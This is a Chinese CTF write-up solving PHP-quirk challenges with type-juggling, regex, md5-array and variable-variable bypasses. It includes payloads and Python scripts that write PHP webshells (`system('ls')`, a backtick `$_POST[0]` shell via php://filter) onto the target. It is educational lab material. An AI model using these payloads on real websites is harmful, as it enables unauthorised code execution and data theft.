PHP 特性题目

题目一

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

解题思路

  • preg_match() 函数传入的参数只能是字符串,如果传入数组会报错,返回 FALSE

  • intval() 函数将变量转换为整数类型。

  • 当字符串是纯数字时,能正常转换为整数。

  • 若字符串开头不是数字,转换结果为 0。

  • 字符串开头为数字,会把开头的数字部分转换为整数,其他省略。

  • intval() 函数传入值为数组,当数组为空时返回 0 ,数组不为空时返回 1 。

  • 构造 Payload :

    1
    ?num[]=1

    tips:在 URL 参数名后面加上 [] 来表明这是一个数组参数,每个数组元素作为一个单独的参数键值对,参数名相同,例如:

    1
    ?num[]=1&num[]=2&num[]=3

题目二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

解题思路

  • /^php$/im :按行匹配,不区分大小写,匹配是否有一行的内容完全对应 php

  • /^php$/i :不区分大小写,匹配整段字符串的内容是否为 php

  • 注意:按行匹配是以换行符 %0A 为每行的结尾来区分每行、进行匹配的,也就是说下面这种情况只能算一行:

    1
    ?cmd=php%0A

    如果是下面这种情况就算两行,也就是本题 Payload :

    1
    ?cmd=%0Aphp

题目三

类似的题,只需要参考下列题目变换 Payload 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

解题思路

  • === 参考 JavaScript ,不仅数值要相等,数据类型也要相等。

  • intval($num,0) :当参数二为 0 时,表示根据字符串格式自动选择合适的进制来完成转换。

  • 构造 Payload :

    1
    2
    3
    4
    5
    6
    7
    ?num=0x117C
    ?num=010574 (0开头是八进制)
    ?num=+4476
    ?num=4476+1-1
    ?num=4476.1
    ?num=4476e1 (科学计数法)
    ?num=4476' (开头为数字时会把开头的数字部分转换为数字,其他忽略)

题目三变体一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

解题思路

== 两边分别为字符串与数字时,会将字符串转换为数字再比较。转换过程没搞懂,暂时问不清楚!

请看 Payload :

1
2
3
4
?num=0x117C
?num=010574
?num=4476.1
?num=4476e1

题目三变体二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

解题思路

又过滤了字母,还好前面总结的 Payload 够多。

请看 Payload :

1
2
?num=010574
?num=4476.1

题目三变体三

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

解题思路

放宽了等于的条件,又加了一个条件,strpos() 返回某字符首次出现的位置,所以必须有 00 不能出现在首位。

请看 Payload :

1
2
3
?num=%20010574   (加了一个空格的八进制数值,核心是加符号还有0)
?num=4476.0
?num=4476+0

题目四

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

Payload :

1
?u=./flag.php

题目五

1
2
3
4
5
6
7
8
9
10
11
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

解题思路

md5() 函数传入非字符串类型参数时会返回 false ,此处可传入两个数组使 md5() 函数返回 false ,于是 false === false 绕过 MD5 校验成功。

Payload:

1
{"a[]":1,"b[]":2}  # requests 脚本 data 参数

题目六

1
2
3
4
5
6
7
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

解题思路

本题有四个三元运算符:

第一个判断是否定义了 $_GET 数组,若定义了,用 $_POST 数组给 $_GET 数组引用赋值=& );若未定义,返回字符串 flag (不会返回到哪里去,后面也是)。

引用赋值 =& ,类似指针,让 $_GET$_POST 指向同一个数据,之后对 $_GET 的操作会直接影响 $_POST,反之亦然。

第二个判断 $_GET 数组里的 $_GET['flag'] 元素的值是否等于 flag ,结合前面的引用赋值,就是判断 $_POST[flag] 元素的值是否等于 flag 。如果等于,则用 $_COOKIE 数组给 $_GET 数组引用赋值。

第三个与第二个同理,不过最后会用 $_SERVER 数组给 $_GET 数组引用赋值。

第四个判断 $_SERVER 数组中的 $_SERVER['HTTP_FLAG'] 元素的值是否等于 flag 。如果等于则会将 $flag 变量作为文件名语法高亮(其实就是找不到该文件时会报错,把 $flag 变量的值回显在前端)。

所以构造 URL 、请求体、 Cookie 与请求头字段即可得到 flag 。

Python 脚本解法

1
2
3
4
5
6
7
8
9
10
import requests

url = "目标URL"
params = { "a": "1" } # URL 传参
data = { "flag": "flag" } # POST 数据
cookies = { "flag": "flag" } # Cookie
headers = { "FLAG": "flag" } # 设置 HTTP 头

response = requests.post( url, params=params, headers=headers, cookies=cookies, data=data )
print(response.text)

headers = { "FLAG": "flag" } 的键名为什么不是 HTTP_FLAG 而是 FLAG :PHP 会把请求头的所有字段转化为大写并加上前缀 HTTP_ 再写入 $_SERVER 数组,每个字段都对应一个元素。$_SERVER 数组的详细介绍可查看我写的关于 $_SERVER 数组的介绍。

题目七

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>

解题思路

随机生成 1 到 0x36d 也就是 877 的数字,并添加到 $allow[] 数组中。随后比对数组元素 $_GET['n'] 的值是否在数组 $allow[] 中,并以 $_GET['n'] 的值为文件名,将 $_POST['content'] 写入文件。

此处的 in_array() 不是严格模式,会转换,根据 PHP 特性,开头为数字的字符串被转化为数字时,后面的字符串会被去掉,所以可以构造 Payload :

1
2
params = {"n":"10.php"}  # 那么多次随机数总该生成 10 吧
data = {"content":"<?php system('ls');"}

通过文件名 10.php 来使该文件被访问时会被当成 PHP 文件处理,从而执行恶意代码。

题目八

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# php7.3
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>

解题思路

逻辑运算符 and 的优先级没有 &&,像 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 这样写会导致 $v0 先被赋值,再进行后面的与运算(单纯的表达式,没有返回结果给任何变量)。

所以 $v2$v3 不用是数字,可以把 $v2 作为要执行的语句,给 $v3 赋值为 ; 通过第二层条件判断。

Payload:

1
?v1=1&v2=var_dump($ctfshow)&v3=;

$v2 后面的 ('ctfshow')$v3") 会直接报错,但 var_dump() 正常执行。

最后得到的 flag 故意没加 - ,需要自己把 0x2d 转换成 -

题目九

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# php7.3
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>

php7.3

解题思路

与之前相同,and 优先级更低,所以只需满足 $v2 是数字。

此外, $v2 的前两位会被切割掉,所以前两位要补位。

然后用 call_user_func() 函数调用名称为变量 $v1 的值的函数,参数为被切割后的 $v2

最后将用户调用函数返回的结果写入文件,文件名为 $v3 的值。

如果是 php5 版本,这道题会容易很多,因为数字后出现的字母会被直接忽略,只要字符串开头是数字,整个字符串就会被识别为数字。但是到了本题的 php7.3 ,哪怕是十六进制数也不会被判定为数字(我尝试用十六进制与 hex2bin() 函数绕过,已失败),只能取巧解题。

1
2
3
<?=`$_POST[0]`;
PD89YCRfUE9TVFswXWA7
5044383959435266554539545646737758574137
1
2
3
<?=`cat *`;
PD89YGNhdCAqYDs=
5044383959474e68644341715944733d # 删去最后两位

第一个 Payload 的 Base64 编码的高四位与低四位转化为十六进制在 0 到 9 范围内,不会出现字母,可完美绕过 is_numeric() 函数。

第二个 Payload 删去最后两位后(影响不大),只有数字和字母 e ,被当成科学计数法从而实现绕过。

Python 脚本解法

1
2
3
4
5
6
7
8
9
import requests

url = "目标URL"
data = {"v1":"hex2bin"}
params = {"v2":"随便两位补位数字+十六进制的Payload","v3":"php://filter/write=convert.base64-decode/resource=shell.php"}

response = requests.post(url,params=params,data=data)

print(response.text)

第一个 Payload 需要用 POST 方法发送要执行的命令,但功能完整;第二个只能查看网站根目录已有的文件的内容。

题目十

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}
foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

解题思路

既然能够用变量变量赋值,那么不妨开阔思路,让 die($error) 返回前端的结果为 flag 。

除开前面两个无法修改的 die() ,最后的两个 die() 都可以通过变量变量赋值为 flag 。不过要注意,应该先在禁止键为 $error$_GET 数组的遍历中用 $flag$suces 赋值,再在禁止值为 $flag$_POST 数组的遍历中用 $suces$error 赋值,方可得到 flag 。

Payload:

1
2
data = {"error":"suces"}
params = {"suces":"flag"}

题目十一